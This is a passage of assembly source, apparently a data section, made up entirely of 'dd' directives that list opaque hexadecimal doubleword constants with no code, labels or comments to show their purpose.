0EE9E5D1Eh, 30B093FEh, 800564Eh dd 85344BBEh, 0D95006Bh, 0DCEF6D9Bh, 57005A45h, 1E5B334Ah dd 70BAB6A5h, 0A8AC1CCDh, 1ADE01C7h, 0C07E7AE3h, 73EE7B0h dd 0A093800Bh, 0F7034669h, 82B3D52h, 0F3278381h, 0C589667Ah dd 0B6C32ECh, 0E09E4268h, 12ACA60Ch, 0D4C99Bh, 7DFD8940h dd 8000C468h, 8CA2D879h, 118227h, 0EFA61A94h, 4BF3414Fh dd 22510705h, 9D004325h, 0F7A57504h, 9CE006Ch, 0C9EFD41Ch dd 50EC6DA1h, 56D74A50h, 76B5F400h, 0EA774FE1h, 0B39100C1h dd 0E350096Eh, 20C157D5h, 45B99390h, 10806BD5h, 21027F92h dd 3400CFA4h, 0A8F563FEh, 0B666ECh, 0ED0C51A0h, 0D37B32B8h dd 2D9A9007h, 29219921h, 0D7F808B7h, 0C0FA00CBh, 10BE5639h dd 770065F0h, 5BB30EB5h, 3E793594h, 2180CB1Dh, 7B7192FAh dd 4E0091BAh, 0B52249C8h, 800CECh, 8C556787h, 0CAC3CDCFh dd 0E0B31B00h, 8310512h, 896300F0h, 495B436Fh, 0D7005C75h dd 804E8191h, 794B18Eh, 0A365F242h, 1B7151F7h, 1222E030h dd 972D9B00h, 68B4CE2h, 95A3000Fh, 9571899h, 6C002405h dd 0F886D7FCh, 9AB7DEh, 642627ABh, 0B6F176D0h, 629E3500h dd 1D613386h, 453D031Fh, 0F555D946h, 0E781CFF1h, 305D5000h dd 888EFC72h, 3FFE9Ah, 86BB02D2h, 7F3C387Bh, 9066D50Ah dd 1E87D468h, 0A2313709h, 2BD8455Ch, 8D291EBBh, 0A47EC628h dd 0AEF0E0DCh, 0A60D0800h, 3F54BC02h, 112D0393h, 2290E659h dd 347539C0h, 1E057107h, 0E08F47A9h, 8D650FFDh, 8B4B00AAh dd 0C125109Ah, 0CC019596h, 71B10664h, 0D8D05566h, 0BC9A0F42h dd 6260C37Eh, 224BB36Eh, 88A43000h, 0AD16F0F5h, 0F15F51DAh dd 3EB10F60h, 64CFAE3h, 0E48A6A3Dh, 80B8F848h, 44CA3DBFh dd 67142704h, 1C02105h, 34828DD1h, 6C20E386h, 300100A5h dd 0B9F86C90h, 92D3FD3h, 1803547Dh, 0FD10392Bh, 26EEB700h dd 0D740B474h, 0E4849244h, 961A0084h, 4D9136D4h, 18C0053Ah dd 7CB94EC5h, 11086041h, 5A2ABBD6h, 0C8A40E00h, 93EA6B43h dd 3E360C34h, 185142D1h, 14075A03h, 9BB96B30h, 103830BDh dd 3712CD1h, 0D305D803h, 0CF0D0137h, 6B3C1940h, 94270EB2h dd 740EA70h, 114AAEE1h, 0A8BDE40Eh, 192D65F0h, 0D0A28C40h dd 0EEF16D42h, 4B951F1Ch, 0D9738A31h, 18CD0734h, 0FBDF4027h dd 24006620h, 0A826CF52h, 0C0324F06h, 0DFDC09C0h, 6F0EB890h dd 1DA4C1A9h, 4CBD2A80h, 3E15E170h, 2B008D1Ah, 2ED6F0D4h dd 0D5076855h, 0DB5D0618h, 299B7520h, 1F440064h, 4B6536CCh dd 0BB0041CDh, 0DBF4CB7Ch, 9AE3D4h, 1B328569h, 2B8B88FFh dd 89188700h, 0F8D46405h, 1ECF09Ah, 0A1BDD639h, 30FCCB55h dd 8200DCF0h, 0F0C958FBh, 5440DAh, 35E81FEh, 7BAA0F9Ah dd 9E25F802h, 0E0CDAFC1h, 0A8BF2Bh, 0CFBE1550h, 103E3D8Ah dd 0BA58A001h, 4D847505h, 21E0AAE1h, 35A600D4h, 1B2A07C9h dd 0C73D8151h, 0F59600E9h, 1F80ADE8h, 0B4ED035Bh, 1BD6C9Eh dd 813E701Fh, 0C5118900h, 0F45912Ah, 8F387A93h, 8C331080h dd 0EC0DAFCAh, 30B2D8A6h, 0B0737FECh, 12BC0B6Fh, 9F81C3D9h dd 60376199h, 3F01BAACh, 3AFB3E0Ch, 0A08C3CABh, 3BE1A902h dd 0EE89D500h, 60B4B270h, 441C1DFFh, 2E5500D3h, 0A8C1AE6Ch dd 0B05B31Bh, 0DA3AD8A1h, 0A7403D6Ah, 58E86080h, 61C0DB77h dd 5019BD05h, 844302CDh, 90E6217Bh, 711DAD8h, 97FF881h dd 0F93A087h, 500C102h, 351CB567h, 0B7DE3ACh, 25B7ADD2h dd 0D36B4200h, 563AB436h, 5B8C0F10h, 0D616222Fh, 2DC2E053h dd 17AF1EDAh, 9ABCC3ABh, 803A852h, 6D6C825Fh, 0D687E96Ah dd 723243C0h, 0EC6900BBh, 0D34105BDh, 0E0004596h, 3DD69257h dd 0F0517255h, 0C040DFB6h, 0E3F45CBBh, 201696C3h, 0A1007849h dd 10F9EE1Eh, 0BB7B3C5Dh, 0F8C001F2h, 1A3ED35Bh, 50F26021h dd 0EC89DB3Ah, 0D5F9950h, 0ABE3CB1Eh, 82B4F170h, 65DDC419h dd 0C960FDECh, 8D1806D7h, 5B58B533h, 1123004Eh, 2D049116h dd 18C7BA9Bh, 0DB1798AAh, 0FE5CA95Ch, 35EF001Dh, 3DD7C005h dd 5AE8BDDDh, 0FB209960h, 0E70ACBh, 0F8C890A0h, 0B0FC4932h dd 0DB4E3500h, 0FA9115A2h, 99BE0661h, 0B8510929h, 747E1E0Fh dd 0E6B34050h, 64DD63h, 69BDDB3Eh, 8B328A53h, 86173A38h dd 0D683F215h, 6EEB0088h, 0F83BAC19h, 41168AF7h, 7E014E38h dd 0E7C340D0h, 1CA7FCC4h, 0C28B684Dh, 3E02F786h, 541300C0h dd 42053Ah, 0D0E00EE9h, 0A53052h, 63CE1447h, 98EFA30Ah dd 0EA9A5D00h, 7C49259h, 0E8DFEAA7h, 916300C0h, 80090167h dd 7600F8C9h, 0B8AE2A3Ah, 2E92B970h, 7E34B28h, 0B0EB6BB1h dd 80C293A7h, 2C8DEE00h, 826A4E4h, 0AB6D00B6h, 9384D2DBh dd 851A13E1h, 1510D35Eh, 0A1005704h, 0AC8EF314h, 26460075h dd 824483B6h, 0B73DC27Eh, 0B23D8173h, 0F3F7AA34h, 0F03AB3E0h dd 0F3FE8EAh, 5CE1885Bh dd 0B6ABC880h, 0B70EEE46h, 0BCE5B201h, 0B1EF3E03h, 0AD40E7FBh dd 0D0D268h, 0D44407B6h, 0EDF319C3h, 0F5D6AC03h, 0C2F6E4D7h dd 0E609E036h, 0AE21473h, 0C0A964F7h, 10C07C0Fh, 0F7D0AE5Ah dd 0A56D0EDCh, 0B5C0AB87h, 55095966h, 5203FEE0h, 685A7A67h dd 712911D3h, 57651181h, 11530A11h, 4D21D458h, 955D4908h dd 0D52228D6h, 22D05922h, 0C2223AE7h, 0CDD9225Dh, 71143550h dd 446E2544h, 0E20745Fh, 114142EAh, 7A21234Fh, 4222801Ch dd 226B111Dh, 9A108621h, 44CFE984h, 324826DFh, 0E9F88D41h dd 28820502h, 1E249076h, 88F99221h, 1CDD129h, 0DB227348h dd 366EFC21h, 1A793200h, 2BCE68A3h, 47C500F2h, 501EC79Ch dd 0DD00F10Bh, 41CB18F9h, 3ADEC3B6h, 6F80B27Ch, 5D3C9EB3h dd 1900E2D4h, 0CEDD77CAh, 7A3697AEh, 0C0F70067h, 2C9296Ch dd 5D1C9A26h, 0A55EC455h, 7720AE03h, 349600AAh, 0E3361E16h dd 94000BA3h, 1DC2626Ch, 0CFF9FCh, 24631EBh, 2C2E454Ah dd 0EFCE6501h, 0F77B3906h, 0E45870h, 9BCF6D37h, 564E2D95h dd 0AB101500h, 9AD4A6FBh, 0B0F22423h, 73380080h, 37DA199Bh dd 0C2B086F4h, 507B49h, 0C332165h, 1FFC2A42h, 0C0A5329Bh dd 0F6DE1FD4h, 760074A0h, 1C06C2E1h, 4D839h, 6119C512h dd 27D6258Bh, 364B4D07h, 96C0455Fh, 7C206EDAh, 661007Fh dd 71477729h, 870CAC10h, 7954E957h, 3888038Eh, 0B5912867h dd 9D94D7D0h, 0BBDF960Fh, 0F22DE045h, 23C45Fh, 0F036B31Dh dd 734FD731h, 2271F00h, 700994B0h, 9F5B0018h, 7545851h dd 0D67D76C4h, 6361B0Eh, 68FB80F4h, 3931B9h, 3EBF7F0Fh dd 0E3D05CF0h, 105A7B00h, 0EE7774E7h, 9F2D0014h, 0FDA75B2h dd 26672C60h, 0B1406368h, 0EBB964h, 0EF118693h, 61B871FCh dd 2405DD7Eh, 432B13B7h, 8F91B400h, 3DA77Fh, 86A6788h dd 0FFA20DC1h, 3198EC1Fh, 9D78FB41h, 0E5CC265Ch, 51050FEFh dd 0FECEA266h, 20031120h, 0A400DF2Ah, 189175E1h, 207E57Ah dd 8812A779h, 0A080860Eh, 5C3596FAh, 5F552C00h, 0A227D7ABh dd 0F9A01FEh, 7DB52FE3h, 3E3FC46Dh, 17EF8300h, 0EDE1C105h dd 9D7B0012h, 4F65A632h, 0D400E0BAh, 17FE1928h, 1F02E3Fh dd 0F542F76Bh, 40261AF8h, 0BA82C98Ch, 6AEC602h, 0C37BD765h dd 9DE9D8E5h, 10AD00D6h, 0A87ECECCh, 22182C38h, 37CE3599h dd 8441F31Fh, 0A84013EBh, 0A0595E3Bh, 4806E180h, 0B10038A1h dd 34474586h, 83176F55h, 0DE0BE277h, 0BFD18038h, 9052E546h dd 4D760F20h, 756E70C4h, 0EA7981DFh, 30D5AD4Fh, 0A5E088B4h dd 9B6F4309h, 0F93480A9h, 0FE966E15h, 7D4E00C5h, 9235092Ch dd 0C0091651h, 219A99h, 0D4DF0AF3h, 5060E84h, 0E680DEB8h dd 0BC6DF864h, 0FC945628h, 0AA0E6E79h, 6029D841h, 9C97DD70h dd 7AA700C8h, 0AD3C73D1h, 9D00EAC1h, 7E016205h, 0C08C70h dd 0F611FF0Dh, 69603974h, 0E83F5C28h, 4BDD1404h, 0B20384A6h dd 24B020A0h, 7200572Dh, 0E799FF91h, 0F33AF852h, 0E0555ECh dd 0FB16E5D5h, 391D1041h, 702AE9D9h, 7F1F2B9Bh, 81DFCDFh dd 2550A007h, 0C800E8CAh, 3ADE4FB1h, 76BAF20Eh, 0C850036h dd 1D631670h, 9F009DA8h, 0E0D3ADCh, 75E54065h, 272C0F38h dd 0EF6A6998h, 0F1A00098h, 438B3D2Dh, 123ECF14h, 8E4800E8h dd 729DB7F8h, 0E921007Eh, 0DBBDA7C5h, 9B00DC33h, 1B076EA4h dd 0E7CA0828h, 3C9EFCF4h, 0BA1FBC0Ch, 0C25D802Dh, 3D63FFA1h dd 0E2802600h, 0EF984F09h, 0EB2D0038h, 0F8AD6073h, 1A7358FAh dd 0B5CDB200h, 0A180C033h, 18FB606Ch, 0A6FDDFC3h, 659C4600h dd 44B95FF8h, 64A30919h, 64802E92h, 86755E70h, 0E1379300h dd 0EA2D8BF6h, 958F006Ah, 4D52AAA5h, 0A004735h, 62E06E3Ch dd 992119h, 0C415778Ah, 0E98D6BC0h, 0BCDA7200h, 0F1D1945Ch dd 20260092h, 64A9931Eh, 48005321h, 0E1D66EFFh, 32996CBh dd 60D4D19Eh, 0A1B3BE27h, 0AB464988h, 7DF43900h, 0CE7A8AE5h dd 0F56600FDh, 24A0FE9Bh, 77F0B3E9h, 8F31C800h, 0F77A3879h dd 45E0083h, 6D2D5A53h, 414CFCB3h, 0EDA503B2h, 0AFCD22DFh dd 897A4AD0h, 0C3BA0F2Fh, 5D8060C8h, 7CB77B29h, 0C6A20500h dd 15AE415Fh, 7380A00Bh, 138F00ABh, 0CEB81AC8h, 4700D21Ch dd 74BED33Ah, 373BD31h, 3B6AA49Eh, 8DB0F110h, 3E00B086h dd 0FA9888E3h, 3BCEFCD4h, 1380ACBDh, 172A8C51h, 0CB5CEEE4h dd 9C95004Dh, 91EAD279h, 0F84F00E1h, 715E1A06h, 0A21E5BE3h dd 26C0D328h, 0C7B0C53Ch, 0FA070F65h, 5A2077A7h, 9E6FDC0Ch dd 0E3D4E38h, 7F730B25h, 0E770A30Eh, 0AE10E7DDh, 7792BEh dd 0ACEB3572h, 40F94195h, 514DBEA0h, 1100AF75h, 0D56B7DE8h dd 7F60B18Ch, 74350E75h, 9D60AA36h, 0D229AB27h, 12A9E100h dd 81C03D7Fh, 2D850031h, 37ECCA1Fh, 560097D3h, 72A9F16Eh dd 795EB9D5h, 2AB3009Ch, 43B21FDEh, 4D7B1266h, 6838852Ch dd 20B5550Fh, 807ED44Fh, 63CB00F8h, 0AF9A5B17h, 0D107213Eh dd 0CD9E2CA4h, 893B90C0h, 643039E0h, 6B7F8500h, 202CC88Fh dd 4311E600h, 0FA7B9BEDh, 285E00B8h, 4CF94947h, 0C4000FDDh dd 39669D42h, 57151Bh, 0FEA7A583h, 0F27BCED9h, 0D0031E71h dd 12DA746Fh, 0D27DF828h, 5FA900FCh, 65B2800Ah, 5A028B4Bh dd 0A5596A51h, 63104008h, 0E25F00BBh, 9DC86BB9h, 5700228Ch dd 44AEC38Ah, 0EA45AD01h, 0B8038F5h, 5D90C100h, 0F34E9F36h dd 0A68780Ch, 7FE124h, 0BCE102C8h, 0FEE418A5h, 101D5B24h dd 93C9B5C0h, 40606E24h, 0E0E3F927h, 35FFD566h, 46001D7Ch dd 0A75EBB7Ch, 7596A94Dh, 384F3B5Ah, 0A8CEDC80h, 1E17C1C9h dd 19B64C03h, 900224FBh, 5C7116FAh, 10006F90h, 0B0DFF1ECh dd 0D400918Eh, 6F6942A0h, 0D5D6A2h, 0C2C7BC57h, 0BE73852Bh dd 74762601h, 4111B409h, 2D18ED0h, 25F40A7Eh, 0FEC05179h dd 0DFF637CFh, 0E6B1831Ch, 0DC7EE88Ah, 4E06407h, 0D13F8DE0h dd 1E9081h, 0ABC44A5Ch, 5938DA2Eh, 0A991F300h, 5F45B119h dd 0F0735C11h, 7700E33Dh, 448D17D2h, 8B0A6C62h, 0DC96DE30h dd 3F20CE80h, 0AB08592h, 7A36653Bh, 0E88939C8h, 0B001982Ah dd 0D42E24C1h, 0CA009F5Ch, 0ABF67240h, 9D55A8Ch, 92BE6B6h dd 0A442009Fh, 92DA1018h, 2BD07D05h, 0EC0E2965h, 0B0408234h dd 424B40F5h, 445F40Eh, 9EA35E3h, 205890D8h, 0B20FEE1Ch dd 0A7A34969h, 0D6B09854h, 1FC82704h, 0C0A04894h, 0E48A8CD7h dd 0F8000E68h, 1D673598h, 7BBB69h, 5BDEB58Eh, 9553B770h dd 3440FD0Ch, 1D2D3EECh, 0C0B0DD64h, 16EF1839h, 35036538h dd 0F3ED2F5Fh, 674D90C4h, 82D0034Bh, 4CAF766Eh, 8FA63BC0h dd 781BF200h, 0E0D50ABCh, 0E90107DCh, 0C11CA949h, 20772473h dd 9A2D3500h, 0C7D6E3h, 985ED2B3h, 0C8F45B79h, 0C54ED00h dd 7FCC1A21h, 0B8CE0433h, 0C049D8B3h, 3B603ACFh, 8DDD98C4h dd 72B75841h, 86589E3Dh, 21DBC970h, 5DA400CEh, 3B117166h dd 40E1702Fh, 2755C8B4h, 0AE3FEC07h, 74FC4B58h, 57F658FBh dd 0F984EB00h, 2D8909B0h, 3EBEEC00h, 8EC93387h, 96C33B1Bh dd 0C263ED8Eh, 44C09543h, 0AC835182h, 4E03058h, 78038A12h dd 0ABBFFAA1h, 0B5F598D2h, 251B00DCh, 0F129EC3h, 0CF001CD7h dd 0FF4A9D20h, 998C8Bh, 2E0A2247h, 0DBDA12Fh, 1A9F1200h dd 0E4890B0Fh, 988E982Ch, 4EB00309h, 0FE367C66h, 203779E1h dd 0E6094758h, 5D0210Ah dd 0CC80D341h, 3B527563h, 0E00C192h, 251C3022h, 0E9B02CC2h dd 0FAD9FD3Fh, 0F979D301h, 0BBB6036Bh, 35DDF70h, 0B87BE5DDh dd 0B7D842D6h, 0E4005A3Eh, 0F7D107C3h, 499EA98h, 0ECCB9BBEh dd 9C38C0A6h, 0D4E0B9E6h, 0C497E900h, 0F5829A27h, 80BD016Dh dd 790D8CCEh, 8453EC52h, 35EEC226h, 9DC0EF00h, 7BCE308Ah dd 0E21400F6h, 9C6EFA8Dh, 0C8039581h, 12DC8B82h, 0CE649002h dd 0C30C017Ch, 20277045h, 94E5C48Dh, 7D8C0901h, 0FD02775Eh dd 0A6D44AF9h, 913D1C3Fh, 0DC00FBB3h, 7947FE18h, 5138698Bh dd 0E47E809Bh, 806EA09Ah, 0D2F5004Ah, 0EAA4771Eh, 7D0FCF17h dd 0A0D352C3h, 53A79E30h, 7B0B003Ch, 66DD98C6h, 0A500E295h dd 48E6DAFCh, 0FAC0B7h, 5433CD39h, 2FB15817h, 5CCB4Ch dd 0AE9EE394h, 0E14AFFDh, 2AAD0350h, 8A0BEEEFh, 23091C20h dd 0A4007F2Eh, 5D88C42Fh, 91A675h, 45CB293Fh, 0F7E3EC6h dd 0B8EF2809h, 0EA7800BEh, 79A43DAh, 0F5622D3Fh, 29C70041h dd 4604BDC5h, 5FC344A6h, 0D945E3C0h, 0D5C1001Dh, 93D7FFBFh dd 0F600DDA8h, 98DB3BFAh, 1C5384Ah, 648BBBD9h, 8915970Eh dd 80806A60h, 2BB5236Ch, 41523A48h, 77F73h, 0F072026Fh dd 36DDF361h, 0F50B0900h, 8CC84DBCh, 584733AFh, 2A068D4h dd 4BB88A86h, 4CB9F100h, 0DC815C05h, 0B241384h, 4B100401h dd 9DD94392h, 0F236A0EFh, 626002C1h, 189EFA78h, 0B490E043h dd 0D6041C77h, 0E63E0D89h, 0B5D6480h, 3DD401BDh, 61F6E323h dd 8FC08083h, 4ECA1963h, 0D7360098h, 107DE974h, 5100DA5Bh dd 0C6CD5D31h, 0B0947562h, 0C41200D8h, 8108F756h, 3607DB2Fh dd 855E2D93h, 0A29528F0h, 0A65F0027h, 0D1CB1D03h, 0CE003DFAh dd 29D00584h, 0B3C492Dh, 6FEB95A0h, 0A4158A8Fh, 2E17824Ch dd 0B234001Dh, 32E53BAFh, 96CC0430h, 8BEFF5h, 0B0DC064Eh dd 3B3DC2AEh, 302D051Dh, 51E8FAC0h, 67C1DD9Fh, 93E310CAh dd 40BC4A84h, 60FB5BDAh, 7DC7035Dh, 40A84EFCh, 0BF5C503Fh dd 3A9C1587h, 1B187488h, 5B988C01h, 80206017h, 370E7885h dd 64AD3Bh, 8B690908h, 7EB45D19h, 3F1700F4h, 6AB09331h dd 2400232Fh, 6C7361BFh, 268280h, 0A1D44AD0h, 2538913h dd 5A05903h, 0A03A7518h, 0E05FD316h, 518F0147h, 0EE4AB07Ah dd 351CFCDFh, 0A36A58h, 693C5A65h, 1B179CFh, 0EF7B9991h dd 80F1FE15h, 0D0195FB8h, 0A59A5Ch, 0EB912F43h, 47DD05AFh dd 0B5BD27Dh, 7820F0h, 71D45E84h, 0AD6712DBh, 8886081Ch dd 3548BE58h, 8BE907F3h, 519D8DB7h, 0FDF0DA84h, 0B911849Eh dd 68C07E85h, 7DE1B0Ch, 9530BA01h, 0EB6FC05Fh, 790A0302h dd 80BE1C11h, 0C9CA1506h, 5CFA00C0h, 4D2331B7h, 5003EF2Eh dd 0A3FBBDEEh, 0ABE5C887h, 0DBBF00ACh, 6214FD6Ch, 0BA0049F7h dd 9AB894E0h, 12572EC6h, 0C88981Ah, 0B6F14A84h, 92AE25h dd 0CD820B08h, 21FD0207h, 3CBD0362h, 8D4E3048h, 7DDA3700h dd 6CD19978h, 4A7E00DCh, 0F6FF090Bh, 0E51D6539h, 0D2406E4Fh dd 94156F76h, 4FC0117h, 0EC23CC1h, 1CC8D79Eh, 0D0DEAF34h dd 250B4840h, 2C20EB04h, 0B8186Eh, 4DB4C282h, 0F12A099h dd 130B2314h, 80B48033h, 1F204FB5h, 4D1CAC32h, 17A1A4FBh dd 0C688D0A8h, 670096E0h, 0A7F67432h, 2DE3A2h, 0AA1EABE8h dd 73C2F145h, 0D8F9612Eh, 247EC500h, 174637E2h, 37D1172h dd 0F6C9B02Ch, 4941201Fh, 0E0485854h, 52694Fh, 0B6DADD84h dd 0BEA0D91Fh, 0B4F0C603h, 9DA43Dh, 60F37D69h, 0AEDBA58Ah dd 948ECB00h, 0F13C412Bh, 721F3E02h, 853ED80h, 0B950D65Ah dd 0F76B3Ah, 0A6712640h, 392BE170h, 481B1C2h, 30D22346h dd 0D0B2E852h, 32557207h, 9E409FA5h, 397093BAh, 6D84EF06h dd 0C0998DFBh, 9DF03C16h, 81C0093Ch, 162D2A19h, 0D8ECDB9Ch dd 8E24000Bh, 0AB1118BBh, 5C774625h, 0B99F7001h, 14DB223Ch dd 7870342Ch, 0A00B054Bh, 0BE65EDF1h, 8A50BB80h, 437CBDh dd 76CD1FFCh, 7EEBD3E0h, 0D2DE3500h, 0CF06BAF1h, 9216003Ch dd 0E13D545Ch, 78003386h, 72357C64h, 70AC5AA6h, 0D2B5004Dh dd 7FE54307h, 90049BBh, 0F17E8341h, 0D7863h, 0E0FEC417h dd 7FD1069Ch, 0BA87F300h, 0B08AD3F0h, 0E97E61h, 66F55F3Bh dd 90E7F94Fh, 0E382BC00h, 0C2335211h, 70633B8Dh, 0E92E8E8Ch dd 0EEF9AE60h, 2AA460FFh, 16FA0062h, 0C89AC20Ah, 0D003149h dd 0AF9F1E3Fh, 0FF66E2h, 0A380548Ch, 0CA4D0B25h, 0B099F501h dd 2FE64FBCh, 1C559E4h, 0BBC9CB33h, 0F1787189h, 4849FCD8h dd 0A080A900h, 546A9B22h, 0B4DD0039h, 0A5E5B0E7h, 1B003121h dd 0D716D228h, 1137E12h, 0E7CC4CFFh, 0D4295F83h, 0B7059F3Eh dd 141A97C2h, 550DDEC0h, 96570973h, 680165A0h, 20AE59E7h dd 0A7003FB4h, 9C87DA66h, 132DE30h, 5C6911A4h, 604DB9E2h dd 0C3006703h, 16DDA112h, 5AB5A2h, 0C6A54147h, 0CB8B338Eh dd 42181900h, 98F90701h, 276500B2h, 0F00DC251h, 0D10017A2h dd 2D22304Eh, 175F7E9Dh, 5E20DDCCh, 96DA4324h, 280BA899h dd 80AA2D82h, 0CAA52C16h, 0D662014Fh, 0DC760F57h, 0C982006h dd 0B7731700h, 5C3A41E7h, 0CB94D89h, 32689B04h, 4F4F0F6h dd 0FCA1AB09h, 60049AE2h, 73AAD884h, 1D70B0F3h, 0C2EB9D7Ah dd 27DA98C2h, 6D105CC8h, 0BA58D514h, 2C4A03A4h, 0D0FCFB1Ch dd 7104D7F3h, 38E10427h, 19FBC93h, 0E23E74Ch, 5EC69D4h dd 0B15DB19h, 0CDA48371h, 0F287682Ch, 0A6EE7702h, 0F2196006h dd 0B18C305Bh, 8390DD40h, 4B5E620Eh, 8E164751h, 9030A69Ah dd 0F21CA231h, 64930054h, 9632D812h, 9026747h, 0FBD54492h dd 2C8406Fh, 38630054h, 0A80C32A4h, 0CB00DE8Ch, 0A2C0570h dd 16B0727Fh, 0FEB219Bh, 2E8DFB48h, 488360A1h, 0D6E09D75h dd 64983426h, 0E91B5180h, 621743h, 31378082h, 35788116h dd 0DE00FEB8h, 0A621799Fh, 6DE58Ch, 11F458C2h, 13770763h dd 0B68B7300h, 0AD7A6F7Bh, 94460782h, 60E492F5h, 89DA88DFh dd 87D5E100h, 1F9EE33Dh, 0F80F0EA8h, 5875ED7h, 0D1A0109Ah dd 1400AE4Ch, 0D9CF9519h, 0DC1F2Fh, 85524681h, 5E86FD6Ah dd 0B6B948h, 2FE05D6Eh, 0A054C7h, 988A2EDAh, 2A3480E8h dd 9E5B423Fh, 8F004DFEh, 4B745053h, 0E8F495h, 0ABC2D5ACh dd 0DA62B77Bh, 0E5492800h, 86546BB8h, 5C560068h, 0FB085A97h dd 0BF006E0Ah, 49A64C88h, 1E732979h, 0F0BD7Fh, 8A71BCF6h dd 4700C590h, 9F2493ECh, 0B9F349h, 0B77ACF3Eh, 0A238ECDh dd 204C9A0Eh, 4954831Eh, 0BAFAF8DDh, 0B84F0076h, 0EEC7F82Ah dd 0CE012BFFh, 0E2CBA091h, 84509038h, 0A34B2Dh, 0D62A158Ah dd 0BA1BD0Eh, 668C6800h, 64E27D7Ah, 0BF4B00B4h, 53D5624h dd 1F0073FCh, 0CFBEAEAFh, 98FAA25Ch, 9DF750F8h, 0DF3128C8h dd 37390084h, 834D8E27h, 0A61EBFCDh, 73009BD0h, 0F3B47B50h dd 0DE8D3D7Ch, 0CC2ADF85h, 388F00A5h, 71E62FC0h, 36C78E00h dd 1BF8A826h, 17BD0020h, 777C89DBh, 2C01D3ACh, 73F34EE5h dd 0B5FC09E3h, 24790097h, 0B20EDE67h, 163A2080h, 121000BCh dd 2A18A8C0h, 0E96E4CEFh, 6C079139h, 3E75C9FBh, 0B4C38280h dd 60B5C093h, 2DCE19h, 0ED79795h, 77106F49h, 66A08E00h dd 2B752186h, 0C42A0073h, 56B89D08h, 0AA38972Dh, 0B3FD1F7Ch dd 444FD540h, 0ED93A976h, 48DFD440h, 0E1180060h, 1AA324E7h dd 91E054F6h, 9FFFD400h dd 252A850Fh, 15078B9h, 0AC4CE89Ch, 0D1531C81h, 91C2357h dd 0D57CF5h, 59E43B9Ch, 6F8C3FBAh, 81CC6C00h, 0E9246070h dd 0BC0B26E0h, 225CD84h, 0C0637D7Dh, 0E5F6C1h, 45293407h dd 8213E051h, 0C3147A00h, 0A89FC2A5h, 377F01A3h, 4C3DE24Dh dd 0C8EED860h, 0F97EF409h, 916801D0h, 0A2D8DF88h, 249C00C5h dd 0AAE4DAA6h, 613A0842h, 92BC07DEh, 1B804CF9h, 0FC53ADh dd 24AF74BEh, 31870923h, 88CFB0A0h, 632F7300h, 0DB3454A5h dd 655B3978h, 0F9053800h, 49F42914h, 0BD0086B0h, 220D7BCFh dd 0F81FCh, 2417F604h, 6DE71BB9h, 0A7D08813h, 7900C0F8h dd 0B02307B4h, 0AD00BC45h, 601487A9h, 7F378Eh, 0C6F99CB5h dd 0BB56CBCEh, 0D8906351h, 8E002534h, 5EC7814Fh, 7D0C8B1h dd 0D3E135F9h, 0CD62006Ch, 0DE002DE4h, 15E69893h, 24194478h dd 2C4135h, 3DA0267Eh, 4F00DC91h, 281E2393h, 0A1D0BDh dd 0C63F1FD2h, 7A73A321h, 0AC740500h, 4AF006B3h, 0FAB63C0Dh dd 0FBB48D02h, 1AC1771Ch, 860F2F8h, 1F24685Dh, 0C1879CE9h dd 9DA7DC06h, 0C275F90h, 0B20A0B9Eh, 81E2355Ah, 33BAC04h dd 0E0BA93D5h, 6D74C8h, 0B13AE065h, 9AF3CF51h, 38C43000h dd 83BA746h, 1E060033h, 0E9855BAh, 17003CCEh, 8C89CAE7h dd 3815447Dh, 0E43C867Bh, 0F9048302h, 94482319h, 0DA0F338Bh dd 4084C3B4h, 32DB943Ah, 0B8EB014Dh, 7BB5D63Fh, 0A2D8F4E9h dd 1855FB00h, 0CC0851B3h, 0AFF3008Ah, 7927FEF2h, 1304D615h dd 0DCA58CE5h, 4A461700h, 0DF01448Dh, 0C0095F86h, 0E770D58Bh dd 9FB50005h, 0B302F8C7h, 0E70A1941h, 945F344Fh, 7A35D200h dd 173BC3h, 6B8BE4FCh, 0D829689Fh, 33E4CA50h, 37099D76h dd 3225AE2h, 0EA386Ch, 96FF2E8Ah, 75EE6BD6h, 0D4667D00h dd 655663CDh, 0A8170094h, 2B62EB92h, 40121942h, 0C8007855h dd 0D9F3967Fh, 830F28F2h, 6AEE38B1h, 0F4EA1983h, 36A99BE0h dd 3DB120BDh, 0DE129F00h, 0F02BA2F3h, 0CF7A00C0h, 0AB759AF2h dd 39010DF9h, 0A646B104h, 0CDC4DD45h, 0B8F480h, 267FD9F8h dd 0DD69741h, 808B4C3Ch, 0DC43DD61h, 0C7C1F5F0h, 425F3AE0h dd 9BD451FAh, 3C00DA26h, 0EDE259C2h, 0F06D0011h, 0C4A767BBh dd 0A500512Dh, 0D38B1758h, 0B7E41Fh, 5039D407h, 14BBF780h dd 0C859DF3Dh, 6FB11254h, 171E0E00h, 3D1D6035h, 0B600A4B0h dd 3EDD59A6h, 0A300B4C0h, 0E5ECE09Ah, 0BF90B36h, 0D620E9ACh dd 3D5C3500h, 7A00A1DFh, 1B01F2A2h, 0EB78E5h, 56EAC5ACh dd 0D9159EE6h, 52FAC400h, 8A9727E0h, 0F8E8FDh, 0F0533208h dd 224B8146h, 0D1B7B900h, 8805C66Fh, 0EC073CF6h, 0C8B83100h dd 93D6299Dh, 8D813400h, 901FE4CFh, 7DE0052h, 4CB00F5Bh dd 8672BFE8h, 157B7600h, 0CE2D8310h, 0DE414C42h, 0E14B1400h dd 3BDD62BBh, 0E92E5E00h, 3075AD0Ch, 5409010Fh, 0D5719C6Ah dd 0CD35F8AFh, 29F4B212h, 35A2800h, 3E5DD48Ah, 92814104h dd 3E9B0556h, 9C9030EAh, 9000A4F4h, 9DB9694h, 19D38ECh dd 58CA6F6Ch, 0C4515E1Dh, 7D1E393Dh, 6DC241B0h, 0C04F5FC5h dd 0F7794h, 8902A4FDh, 7059171Bh, 21E82807h, 4EB09325h dd 0B02D80h, 1DF6AA0h, 370D77B1h, 8004F23Dh, 1E5CB543h dd 0EA364DFAh, 834400D3h, 225301CAh, 0DD0028F1h, 8EB2A05Fh dd 0ADD838h, 0CFD65795h, 4E175478h, 7D28D0Fh, 0A8B1C3E1h dd 41C79ABBh, 27C0CE3Ch, 0E80500D6h, 31E589D5h, 0ED26DE80h dd 410EFC2Bh, 7303E14Ch, 60EC99F0h, 0AF430094h, 0D311F68Fh dd 74003002h, 77233BE4h, 48931AC0h, 0FD053CB5h, 11D8B42h dd 0E9996D9Dh, 240461CEh, 0DA00BB94h, 115C7965h, 29048ACh dd 0F30681E7h, 0C740564Dh, 0F800AD13h, 96A8E61h, 2C65DD0Bh dd 0F00A72Eh, 33A77293h, 4369D12Bh, 73E07A2Fh, 30AD3C1Ch dd 0FEB43600h, 